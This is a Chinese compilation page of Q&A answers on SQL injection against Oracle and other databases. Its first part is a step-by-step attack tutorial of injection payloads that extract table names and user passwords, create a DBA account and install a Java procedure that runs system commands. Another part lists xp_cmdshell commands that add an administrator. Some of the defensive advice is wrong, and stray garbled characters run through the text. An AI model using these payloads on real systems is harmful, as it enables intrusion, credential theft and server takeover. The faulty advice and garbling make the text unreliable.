⑴ sql 注入 oracle 常見的庫有哪些
目錄:
0x00:判斷資料庫類型
0x01:獲取基本信息
0x02:得到當前庫所有表名
0x03:得到所有列名
0x04:獲取列中數據
0x05:獲取所有資料庫
0x06:森此利用ORACLE的systeminfo許可權拿下伺服器下面是正文:
判斷注入,我就不說了,大家都很熟悉了,and 1=1和and 1=2 ,當然我們這篇文章是建立在有注入的前提下,如果沒找到的話,請直接略過。
當我們找到注入點的話,一般類似與asp/php/aspx?id=1這樣此仿迅的形式,(我沒見過其他兩種,見過的都是asp+oracle這種奇葩),在後面加註釋符–,如果返回正常的話,大致可以判斷資料庫類型是mssql或者oracle,之後在根據oracle裡面所特有的表查詢
例如:and exist(select * from al) 或者and exists(select * from user_tables)
利用的原理是al表和user_tables表是oracle中的系統表
返回正常,那麼就可以肯定這是oracle了,接下來你就要抓狂了,因為oracle 注入工具不多。只能手工了。0×01 獲取基本信息1. 判斷過注入了,接下來就看有幾個欄位了,同樣可以使用oder by N 根據返回頁面判斷,這里不再贅述,由於oracle中對於欄位類型要求很嚴格,所以在union查詢之前,我們首先要確定欄位類型,可以用如下語句and 1=2 union select NULL,NULL,……,NULL from al–中間省略
然後將第一個NULL替換成1
這樣就成了and 1=2 union select 1,NULL,……,NULL from al–中間省略
如果正確,則說明在資料庫中這個欄位是數字類型,如果在當前頁有此列數據,則也會在當前頁特定位置顯示。
如果錯誤,這將其替換成and 1=2 union select 『1』,NULL,……,NULL from al–中間省略
返回正常則說明此列是字元類型了。在下文中,我們假設為數字型,並且有6個欄位
2. 接下來,我們獲取資料庫版本and 1=2 union select 1,2,(select banner from sys.v_$version where rownum=1),4,5,6 from al
這里使用了sql語句的嵌套,然後在可以顯示的位置,查詢sys.v_$version,返回banner信息大升,同時也是資料庫版本信息
3. 然後獲取操作系統版本and 1=2 union select 1,2,( select member from v$logfile where rownum=1),4,5,6 from al
3. 獲取連接資料庫的當前用戶and 1=2 union select 1,2,( select SYS_CONTEXT (『USERENV』, 『CURRENT_USER』)from al),4,5,6 from al
現在伺服器的基本信息,我們已經可以得到了,那麼接著往下走,你應該知道該干什麼了。0×02 獲取當前庫中所有表名and 1=2 union select 1,2,( select table_name from user_tables where rownum=1),4,5,6 from al
oracle中資料庫中所有的表都是保存在user_tables這張表中,這樣我們就獲得了第一個表名,假設是news 接下來再來獲取第二個and 1=2 union select 1,2,( select table_name from user_tables where rownum=1 and table_name<>』news』),4,5,6 from al
這樣就得到了第二個表名,我們假設是manage 然後以此類推就可以得到所有的表名0x03:得到所有列名and 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=』manage』 and rownum=1),4,5,6 from al
系統表多了就是這種好處,什麼都可以去系統表中找到,如果再碰上盲注,那不哭了。
然後才查詢第二個表名,假設第一個得到的是usernameand 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=』manage』 and rownum=1 and column_name<>』username』),4,5,6 from al
這樣第二個就出來了,架設是password 同樣是依次類推即可得到所有的列名0x04:得到列中數據
查詢指定列中數據沒什麼好說的,就像其他資料庫一樣and 1=2 union select 1,2,username,4,5,6 from manage
and 1=2 union select 1,2,password,4,5,6 from manage
這樣用戶名,密碼都可以得到了0x05:獲取所有資料庫
這種情況是存在你需要跨褲的情況下,其實一般情況下用不到,至於原因嘛,由各位看官自己體味了。
先來爆出第一個資料庫名and 1=2 union select 1,2,(select owner from all_tables where rownum=1),4,5,6 from al
然後第二個,假設第一個是current_dband 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>』current_user』),4,5,6 from al
然後就不用我說了吧,各位應該都很熟悉了。0x06:利用ORACLE的systeminfo許可權拿下伺服器
oracle本身經常是已system運行的,所以拿下了oracle基本拿下了伺服器了
1. 首先是添加賬戶,利用的命令如下:and 『』||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(『FOO』,'BAR』,'DBMS_OUTPUT」.PUT(:P1);EXECUTE IMMEDIATE 」DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 」」Create USER linux IDENTIFIED BY linux」」;END;」;END;–』,'SYS』,0,』1′,0)=」—
2. 查看賬戶是否添加成功and」||(select user_id from all_users where username=』linux』)
3. 接下來是把我們建立的用戶加入到dba中and」||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(『FOO』,'BAR』,'DBMS_OUTPUT」.PUT(:P1);EXECUTE IMMEDIATE 」DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 」」grant linux to rebeyond」」;END;」;END;–』,'SYS』,0,』1′,0)=」—
4. 之後沒得說了就是為我們建立的用戶賦予遠程連接的許可權and」||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES(『FOO』,'BAR』,'DBMS_OUTPUT」.PUT(:P1);EXECUTE IMMEDIATE 」 DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 」 」 GRANT CONNECT to linux 」 」;END;–』,SYS』,0,』1′,0) from alp
下面就遠程連接了,連接之後需要建立存儲過程
第一步:create or replace and compile
java souRCe named 「util」
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
第二步: www.2cto.com
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 『util.RunThis(java.lang.String) return integer』;
第三步:
create or replace procere RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
創建完之後,就可以通過x := RUN_CMz(dos命令)來執行系統命令了
⑵ oracle資料庫的sql注入攻擊有哪些
針對Oracle資料庫的SQL注入攻擊主要有下面4類:
1、SQL篡改
2、租逗廳代碼注入
3、函數調用指並注入
4.、緩弊隱沖區溢出
⑶ Oracle怎麼防SQL注入
oracle是資料庫,不慧悶做這個事的斗碧梁空運,SQL注入是應用,也就是我們的程序要防止的。
簡單地說,我們的程序中不要用簡單的sql直接拼接從前台傳遞的參數。
⑷ 如何防範SQL注入漏洞及檢測
以下是OMG我為大家收集整理的文章,希望對大家有所幫助。
SQL注入(SQLInjection)漏洞攻擊是目前網上最流行最熱門的黑客腳本攻擊方法之一,那什麼是SQL注入漏洞攻擊呢?它是指黑客利用一些Web應用程序(如:網站、論壇、留言本、文章發布系統等)中某些存在不安全代碼或SQL語句不縝密的頁面,精心構造SQL語句,把非法的SQL語句指令轉譯到系統實際SQL語句中並執行它,以獲取用戶名、口令等敏感信息,從而達到控制主機伺服器的攻擊方法。
1. SQL注入漏洞攻擊原理
1. 1 SQL注入漏洞攻擊實現原理
SQL(Structured Query Language)是一種用來和資料庫交互的語言文本。SQL注入的攻擊原理就是攻擊者通過Web應用程序利用SQL語句或字元串將非法的數據插入到伺服器端資料庫中,獲取資料庫的管理用戶許可權,然後將資料庫管理用戶許可權提升至操作系統管理用戶許可權,控制伺服器操作系統,獲取重要信息及機密文件。
SQL注入漏洞攻擊主要是通過藉助於HDSI、NBSI和Domain等SQL注入漏洞掃描工具掃描出Web頁面中存在的SQL注入漏洞,從而定位SQL注入點,通過執行非法的SQL語句或字元串達到入侵者想要的操作。下面以一段身份驗證的.NET代碼為例,說明一下SQL 注入攻擊的實現方法。
SqlConnectionnwConn = new SqlConnection((string)ConfigurationSettings.AppSettings["DBconnStrings"]); string queryStr = "SELECT userid,userpwd, username,type FROM users where userid='" + Txtusername.Text +"'";
DataSet userSet = new DataSet();
SqlDataAdapter userAdapter = newSqlDataAdapter(queryStr, nwConn);
userAdapter.Fill(userSet, "Users");
Session["UserID"] =Txtusername.Text.ToString();
Session["type"] =type.Text.ToString();
Response.Redirect("/Myweb/admin/login.aspx");
從上面的代碼中可以看出,程序在與資料庫建立連接得到用戶數據之後,直接將username的值通過session傳給login.aspx,沒有進行任何的過濾和處理措施, 直接用來構造SQL 語句, 其危險系數是非常高的, 攻擊者只要根據SQL 語句的編寫規則就可以繞過身份驗證,從而達到入侵的目的。
1. 2 SQL注入漏洞攻擊分析
SQL注入可以說是一種漏洞,也可以說是一種攻擊。當程序中的變數處理不當,沒有對用戶提交的數據類型進行校驗,編寫不安全的代碼,構造非法的SQL語句或字元串,都可能產生這個漏洞。
例如Web系統有一個login頁面,這個login頁面控制著用戶是否有權訪問,要求用戶輸入一個用戶名和口令,連接資料庫的語句為:
“select * from users where username = 'username' andpassword = 'password'”
攻擊者輸入用戶名為aa or 1=1口令為1234 or 1=1之類的內容。我們可以看出實際上攻擊者並不知道真正的用戶名、口令,該內容提交給伺服器之後,伺服器執行攻擊者構造出的SQL命令,但由於攻擊者輸入的內容非常特殊,所以最後得到的SQL命令變成:
“select * from users where username = 'aa' or 1=1 andpassword = '1234' or 1=1”
伺服器執行查詢或存儲過程,將用戶輸入的身份信息和資料庫users表中真實的身份信息進行核對,由於SQL命令實際上已被修改,存在永遠成立的1=1條件,因此已經不能真正驗證用戶身份,所以系統會錯誤地授權攻擊者訪問。
SQL 注入是通過目標伺服器的80埠進行的,是正常的Web訪問,防火牆不會對這種攻擊發出警告或攔截。當Web伺服器以普通用戶的身份訪問資料庫時,利用SQL注入漏洞就可能進行創建、刪除、修改資料庫中所有數據的非法操作。而當資料庫以管理用戶許可權的身份進行登錄時,就可能控制整個資料庫伺服器。
SQL注入的方法很多,在以手動方式進行攻擊時需要構造各種各樣的SQL語句,所以一般攻擊者需要豐富的經驗和耐心,才能繞過檢測和處理,提交語句,從而獲得想要的有用信息。這個過程需要花費很多的時間,如果以這種手動方式進行SQL注入漏洞攻擊,許多存在SQL注入漏洞的ASP、JSP、PHP、JAVA等網站就會安全很多了,不是漏洞不存在了,而是手動入侵者需要編程基礎,但現在攻擊者可以利用一些現成的黑客工具來輔助SQL注入漏洞攻擊,加快入侵的速度,使SQL注入變得輕而易舉。
由於SQL注入漏洞攻擊利用的是通用的SQL語法,使得這種攻擊具有廣泛性。理論上說,對於所有基於SQL語言的資料庫管理系統都是有效的,包括MSSQLServer、Oracle、DB2、Sybase和MySQL等。當然,各種系統自身的SQL擴展功能會有所不同,因此最終的攻擊代碼可能不盡相同。
1. 3 SQL注入漏洞攻擊過程
(1)繞過身份驗證
如一個login界面,需要輸入用戶名和口令,然後Post到另一個頁面,進行身份驗證,因此攻擊者只需在用戶名和口令的輸入框中都輸入aa or’1’=’1’的內容,那麼攻擊者就可以通過欺騙的驗證方式而直接進入下一個頁面,並擁有和正常登錄用戶一樣的全部特權。原因是什麼呢? 我們比較一下正常用戶登錄和攻擊者登錄時的兩種SQL語句:
1)正常用戶(如用戶名為admin,口令為1234567) :
SQL= " selectfrom users where username = ’admin’and password= ’1234567’ ";
2)攻擊者(用戶名和口令都為aa or’1’=’1’) :
SQL= " select * from users where username='aa or’1’=’1’'and password = ' aa or’1’=’1’'";
可以看到由and連接的兩個條件都被一個永遠成立的1=1所代替,執行的結果為true,資料庫會認為條件恆成立,會返回一個true,讓攻擊者以合法身份登錄進入下一個頁面。
(2)執行非法操作
如一個查詢頁面select1.asp? id=1,編程人員原本設計意圖是顯示id為1的查詢信息,而攻擊者利用程序中沒有對id內容進行檢查的機制,插入自己的代碼。
從select1.asp中摘錄一段關鍵代碼:
SQL= " select *from photo where photoid= 'id'";
可以看到,id沒有進行任何的處理,直接構成SQL語句並執行,而攻擊者在知道該系統資料庫中表名及欄位名的情況下,利用SQL語句特性(分號是將兩句SQL 語句分開的符號),直接向資料庫Tuser表中添加記錄:
select1.asp? id= 1;Insertinto Tuser (username,password,type) values ('hack','1234567','管理員'),然後攻擊者就可以直接用hack進行登錄了。通過這樣的方法,攻擊者還可以對系統做任何的事情,包括添加、刪除、修改系統資源的操作。
(3)執行系統命令
如果Web主機使用MSSQL資料庫管理系統,那麼攻擊者就可以用到xp_cmdshell這個擴展存儲過程,xp_cmdshell是一個非常有用的擴展存儲過程,用於執行系統命令,比如dir、net等,攻擊者可以根據程序的不同,提交不同的語句:
execmaster.dbo.xp_cmdshell " dir "; exec master.dbo.xp_cmdshell" net user hack 1234567 /add ";
execmaster.dbo.xp_cmdshell " net localgroup administrators hack /add ";
這樣就可以向Web主機系統中成功添加了一個管理員帳戶。
2. SQL注入漏洞攻擊的檢測方式及方法
2. 1檢測方式
SQL注入漏洞攻擊檢測分為入侵前的檢測和入侵後的檢測。入侵前的檢測,可以通過手工方式,也可以使用SQL注入漏洞掃描工具軟體。檢測的目的是為預防SQL注入漏洞攻擊,而對於SQL注入漏洞攻擊後的檢測,主要是針對審計日誌的查看,SQL注入漏洞攻擊成功後,會在Web Service和資料庫的審計日誌中留下“痕跡”。
2. 2檢測方法
(1)動態SQL檢查
動態的SQL語句是一個進行資料庫查詢的強大的工具,但把它和用戶輸入混合在一起就使SQL注入成為了可能。將動態的SQL語句替換成預編譯的SQL或者存儲過程對大多數應用程序是可行的。預編譯的SQL或者存儲過程可以將用戶的輸入作為參數而不是命令來執行,這樣就限制了入侵者的行動。當然,它不適用於存儲過程中利用用戶輸入來生成SQL命令的情況。在這種情況下,用戶輸入的SQL命令仍可能得到執行,資料庫仍然存在SQL注入漏洞攻擊的危險。
(2)有效性校驗
如果一個輸入框只可能包括數字,那麼要通過驗證確保用戶輸入的都是數字。如果可以接受字母,檢查是不是存在不可接受的字元,那就需要設置字元串檢查功能。確保應用程序要檢查以下字元:分號、等號、破折號、括弧以及SQL關鍵字。
(3)數據表檢查
使用SQL注入漏洞攻擊工具軟體進行SQL注入漏洞攻擊後,都會在資料庫中生成一些臨時表。通過查看資料庫中最近新建的表的結構和內容,可以判斷是否曾經發生過SQL注入漏洞攻擊。
(4)審計日誌檢查
在Web伺服器中如果啟用了審計日誌功能,則Web Service審計日誌會記錄訪問者的IP地址、訪問時間、訪問文件等信息,SQL注入漏洞攻擊往往會大量訪問某一個頁面文件(存在SQL注入點的動態網頁),審計日誌文件會急劇增加,通過查看審計日誌文件的大小以及審計日誌文件中的內容,可以判斷是否發生過SQL注入漏洞攻擊事件;另外還可以通過查看資料庫審計日誌,查詢某個時間段是否有非法的插入、修改、刪除操作。
(5)其他
SQL注入漏洞攻擊成功後,入侵者往往會添加特權用戶(如:administrator、root、sa等)、開放非法的遠程服務以及安裝木馬後門程序等,可以通過查看用戶帳戶列表、遠程服務開啟情況、系統最近日期產生的一些文件等信息來判斷是否發生過入侵。
3. SQL注入漏洞防範措施
SQL注入漏洞攻擊的防範方法有很多種,現階段總結起來有以下方法:
(1)數據有效性校驗。如果一個輸入框只可能包括數字,那麼要通過校驗確保用戶輸入的都是數字。如果可以接受字母,那就要檢查是不是存在不可接受的字元,最好的方法是增加字元復雜度自動驗證功能。確保應用程序要檢查以下字元:分號、等號、破折號、括弧以及SQL關鍵字。另外限製表單數據輸入和查詢字元串輸入的長度也是一個好方法。如果用戶的登錄名最多隻有10個字元,那麼不要認可表單中輸入10個以上的字元,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。
(2)封裝數據信息。對客戶端提交的數據進行封裝,不要將數據直接存入cookie中,方法就是在編程的代碼中,插入session、if、try、else,這樣可以有效地防止攻擊者獲取cookie中的重要信息。
(3)去除代碼中的敏感信息。將在代碼中存在的用戶名、口令信息等敏感欄位刪除,替換成輸入框。
SQL=" select from users where username = ’admin’and password= ’1234567’ "
如:這樣顯然會暴露管理員的用戶名、口令信息。可以將其修改成:
SQL= " select * from users where username='" +Txtuser.Text + "' and userpwd='" + Textpwd.Text + "'"
這樣就安全了很多,入侵者也是不會輕易的就獲取到用戶名、口令信息。
(4)替換或刪除單引號。使用雙引號替換掉所有用戶輸入的單引號,這個簡單的預防措施將在很大程度上預防SQL注入漏洞攻擊,單引號時常會無法約束插入數據的Value,可能給予輸入者不必要的許可權。用雙引號替換掉單引號可以使大部分SQL注入漏洞攻擊失敗。 如:
“select* from users where username='" + admin + "' and userpwd='" + 1234567+ "'”
顯然會得到與
“select * from users where username='admin' and password= '1234567'”
相同的結果。
(5)指定錯誤返回頁面。攻擊者有時從客戶端嘗試提交有害代碼和攻擊字元串,根據Web Service給出的錯誤提示信息來收集程序及伺服器的信息,從而獲取想得到的資料。應在Web Service中指定一個不包含任何信息的錯誤提示頁面。
(6)限制SQL字元串連接的配置文件。使用SQL變數,因為變數不是可以執行的腳本,即在Web頁面中將連接資料庫的SQL字元串替換成指定的Value,然後將Web.config文件進行加密,拒絕訪問。
(7)設置Web目錄的訪問許可權。將虛擬站點的文件目錄禁止遊客用戶(如:Guest用戶等)訪問,將User用戶許可權修改成只讀許可權,切勿將管理許可權的用戶添加到訪問列表。
(8)最小服務原則。Web伺服器應以最小許可權進行配置,只提供Web服務,這樣可以有效地阻止系統的危險命令,如ftp、cmd、vbscript等。
(9)鑒別信息加密存儲。將保存在資料庫users表中的用戶名、口令信息以密文形式保存,也可以對users表進行加密處理,這樣可以大大增加對鑒別信息訪問的安全級別。
(10)用戶許可權分離。應盡可能的禁止或刪除資料庫中sa許可權用戶的訪問,對不同的資料庫劃分不同的用戶許可權,這樣不同的用戶只能對授權給自己的資料庫執行查詢、插入、更新、刪除操作,就可以防止不同用戶對非授權的資料庫進行訪問。
4. 結束語
SQL注入漏洞攻擊在網上非常普遍,許多ASP、PHP論壇和文章管理系統、下載系統以及新聞系統都存在這個漏洞。造成SQL注入漏洞攻擊的主要原因是開發人員在系統開發的過程中編程不規范,沒有形成良好的編程習慣,問題的解決只有依賴於規范編程。此外,也可以使用現有的SQL注入漏洞掃描器對整個網站中的關鍵代碼進行掃描,查找網站頁面中存在的SQL注入點。對於有問題的頁面,可以及時刪除或更新。本文通過對SQL注入漏洞攻擊的方法、原理以及攻擊實施過程進行了闡述和總結,並給出了一些常見的SQL注入漏洞攻擊防範的方法。
⑸ SQL注入攻擊與防範
關於SQL注入攻擊與防範
隨著網路的普及,關系資料庫的廣泛應用,網路安全越來越重要。下面是我為大家搜索整理了關於SQL注入攻擊與防範,歡迎參考閱讀,希望對大家有所幫助。想了解更多相關信息請持續關注我們應屆畢業生培訓網!
一、 SQL注入攻擊
簡言之,SQL注入是應用程序開發人員未預期地把SQL代碼傳入到應用程序的過程。它由於應用程序的糟糕設計而成為可能,並且只有那些直接使用用戶提供的值構建SQL語句的應用程序才會受影響。
例如:用戶輸入客戶ID後,GridView顯示客戶的全部行記錄。在一個更加真實的案例中,用戶還要輸入密碼之類的驗證信息,或者根據前面的登錄頁面得到用戶ID,可能還會有一些用戶輸入關鍵信息的文本框,如訂單的日期范圍或產品名稱。問題在於命令是如何被執行的。在這個示例中,SQL語句通過字元串構造技術動態創建。文本框txtID的值被直接復制到字元串中。下面是代碼:
在這個示例中,攻擊者可以篡改SQL語句。通常,攻擊的第一個目標是得到錯誤信息。如果錯誤沒有被恰當處理,底層的信息就會暴露給攻擊者。這些信息可用於進一步攻擊。
例如,想像一下在文本一下在文本框中輸入下面的字元串會發生什麼?
ALFKI'OR '1'='1
再看看因此生成的完整SQL語句:
這條語句將返回所有的訂單記錄,即便那些訂單不是由ALFDI創建,因為對每一行而言而有信1=1總是true。這樣產生的後果是沒有顯示當前用戶特定信息,卻向攻擊者顯示了全部資料,如果屏幕上顯示的是敏感信息,如社會保險號,生日或信用卡資料,就會帶來嚴重的問題。事實上,這些簡單的SQL注入往往是困擾那些大型電子商務公司的麻煩。一般而言,攻擊點不在於文本框而在於查詢字元串(可被用於向資料庫傳送值,如列表頁向詳細信息頁面傳送唯一標識符)。
還可以進行更復雜的攻擊。例如,攻擊者可以使用兩個連接號(--)注釋掉SQL語句的剩餘部分。這樣的攻擊只限於SQL Server,不過對於其他類型的資料庫也有等效的辦法,如MySql使用(#)號,Oracle使用(;)號。另外攻擊者還可以執行含有任意SQL語句的批處理命令。對於SQL Server提供程序,攻擊者只需在新命令前加上分號(;)。攻擊者可以採用這樣的方式刪除其他表的內容,甚至調用SQL Server的系統存儲過程xp_cmdshell在命令執行任意的程序。
下面是攻擊者在文本框中輸入的,它的攻擊目標是刪除Customers表的全部行。
LUNCHUN』;DELETE*FROM Customers--
二、防範
如何預防SQL注入攻擊呢?需要記住幾點。首先,使用TextBox.MaxLength屬性防止用戶輸入過長的字元是一個好辦法。因為它們不夠長,也就減少了貼入大量腳本的可能性。其次,要使用ASP.NET驗證控制項鎖定錯誤的數據(如文本、空格、數值中的特殊字元)。另外,要限制錯誤信息給出的提示。捕獲到資料庫異常時,只顯示一些通用的信息(如「數據源錯誤」)而不是顯示Exception.Message屬性中的信息,它可能暴露了系統攻擊點。
更為重要的是,一定要小心去除特殊字元。比如,可以將單引號替換為兩個單引號,這樣它們就不會和SQL語句的分隔符混淆:
string ID=txtID.Text().Replace(「』」,」』』」);
當然,如果文本確實需要包含單引號,這樣做就引入了其他麻煩。另外,某些SQL注入攻擊還是可行的。替換單引號可以防止用戶提前結束一個字元串,然而,如果動態構建含有數值的SQL語句,SQL注入攻擊又有發揮的空間了。這個漏洞常被(這是很危險的)忽視。更好的解決辦法是使用參數化的命令或使用存儲過程執行轉義以防止SQL注入攻擊。
另一個好建議是限制用於訪問資料庫的賬號的許可權。這樣該賬號將沒有許可權訪問其他資料庫或執行擴展的存儲過程。不過這樣並不能解決SQL腳本注入的問題,因為用於連接資料庫的進程幾乎總是需要比任意單個用戶更大的許可權。通過限制許可權,可以預防刪除表的攻擊,但不能阻止攻擊者偷看別人的.信息
三、POST注入攻擊
精明的用戶可能會知道還有另外一個Web控制項攻擊的潛在途徑。雖然參數化的命令防止了SQL注入攻擊,但它們不能阻止攻擊者向回發到伺服器的數據添加惡意的值。如果不檢查這些值,就使得攻擊者可以提交本來不可能存在的控制項值。
例如,假設你有一個顯示當前用戶訂單的列表。狡詐的攻擊者可能保存該頁面的一個本地副本,修改HTML內容向列表添加更多的項目,然後選擇某個「假」的項目。如果攻擊成功,攻擊者就能夠看到其他用戶訂單,這顯然是一個問題。幸好,ASP.NET使用一個很少被提及的叫做「事件驗證」的特性來防止這種攻擊。事件驗證檢查回發到伺服器的數據並驗證其中值的合法性。例如,如果回發的數據表明用戶選擇了一個沒有意義的數據(因為它在控制項中並不存在),ASP.NET就產生一個錯誤並停止處理。可以在Page指令中設置EnableEventValidation特性為false來禁用事件驗證。創建使用客戶端腳本動態改變內容的頁面時,需要執行這一步。不過,此時在使用這些值之前要注意檢查潛在的POST注入攻擊。
;⑹ ArcGIS Server 標准化SQL查詢、SQL注入問題的測試總結
在設置了 standardizedQueries:true 的屬性之後,存放在 Oracle SDE 中的數據發布成的REST服務,仍然可以通過在 Where 語句中傳入參數 USER like 'SD%' 執行查詢,從而可以在有限的次數內 暴力試探出 SDE 連接的用戶名 。其中 USER 不是數據表中包含的欄位,是 Oracle 提供的 SQL 函數。 SD% 是 SDE 連接用戶名的部分字母。
通過對比分析,排除 Oracle 和州氏 SDE 版本卜跡埋型螞的影響,得出結論:
⑺ 網站如何防止sql注入攻擊的解決辦法
首先我們來了解下什麼是SQL注入,SQL注入簡單來講就是將一些非法參數插入到網站資料庫中去,執行一些sql命令,比如查詢資料庫的賬號密碼,資料庫的版本,資料庫伺服器的IP等等的一些操作,sql注入是目前網站漏洞中危害最大的一個漏洞,受攻擊的網站佔大多數都是sql注入攻擊。
sql注入攻擊用英語來講Structured Query Language,在網站的編程語言當中是一種比較另類的網站開發語言,我們網站安全行業通常來講sql是用來資料庫查詢的一種網站開發語言,同時也是一種腳本文件的一個文件名,通俗來講sql就是用來對網站的資料庫進行查詢,以及增加,寫入,更新資料庫的一個sql資料庫操作。
關於資料庫我們分為2種資料庫,一種是關系資料庫,非關系資料庫,那麼目前網站使用的都是關系資料庫,關系資料庫分為sql資料庫,microsoft sql server資料庫,ACC資料庫,mysql資料庫,oracle資料庫,DB2資料庫,postgresql資料庫等等的關系資料庫,非關系資料庫分為nosql資料庫,可以存儲很大數據,針對於一些並發較高,存儲較多,雲計算的場景,頻繁讀取寫入的資料庫,像memcachedb,redis,mongodb等等非關系資料庫。
那麼什麼是sql注入呢? 簡單來講就是對網站強行進行插入數據,執行sql惡意語句對網站進行攻擊,對網站進行sql注入嘗試,可以獲取一些私密的信息,像資料庫的版本,管理員的賬號密碼等等。
關於如何防止sql注入攻擊,我們從以下幾點開始入手
首先我們可以了解到sql注入攻擊都是通過拼接的方式,把一些惡意的參數拼接到一起,然後在網站的前端中插入,並執行到伺服器後端到資料庫中去,通常我們在寫PHP網站代碼的時候會將get ID這個參數值獲取到後直接拼接到後端伺服器中去,查詢資料庫,但是如果拼接了一些惡意的非法參數,那麼久可以當做sql語句來執行,如果防止sql注入呢?
為了防止網站被sql注入攻擊,我們應該從一開始寫代碼的時候就應該過濾一些sql注入的非法參數,將查詢的一些sql語句,以及用戶輸入的參數值都以字元串的方式來處理,不論用戶輸入的什麼東西,在sql查詢的時候只是一段字元串,這樣構造的任何惡意參數都會以字元串的方式去查詢資料庫,一直惡意的sql注入攻擊就不會被執行,sql注入語句也就沒有效果了,再一個就是網站里的任何一個可以寫入的地方盡可能的嚴格過濾與限制,漏下一個可以輸入的地方網站就會被攻擊,網站就會被黑,所有做的網站安全就會沒有效果,包括一些get,post,cookie方式的提交都是不可信的,像數據表裡referer user-agent等欄位都是可以偽造,寫入sql注入語句的,像前端時間爆發的ecshop漏洞利用的就是user.php,偽造referer參數進行了sql注入,執行了遠程代碼。
再一個防止sql注入的方法就是開啟PHP的魔術配置,開啟安全配置模式,將safe_mode開啟on.以及關閉全局變數模式,register_globals參數設置為on,magic_quotes_gpc參數開啟,防止sql注入.如果對網站防止sql注入不懂的話,也可以找專業的網站安全公司來做安全,防止sql注入。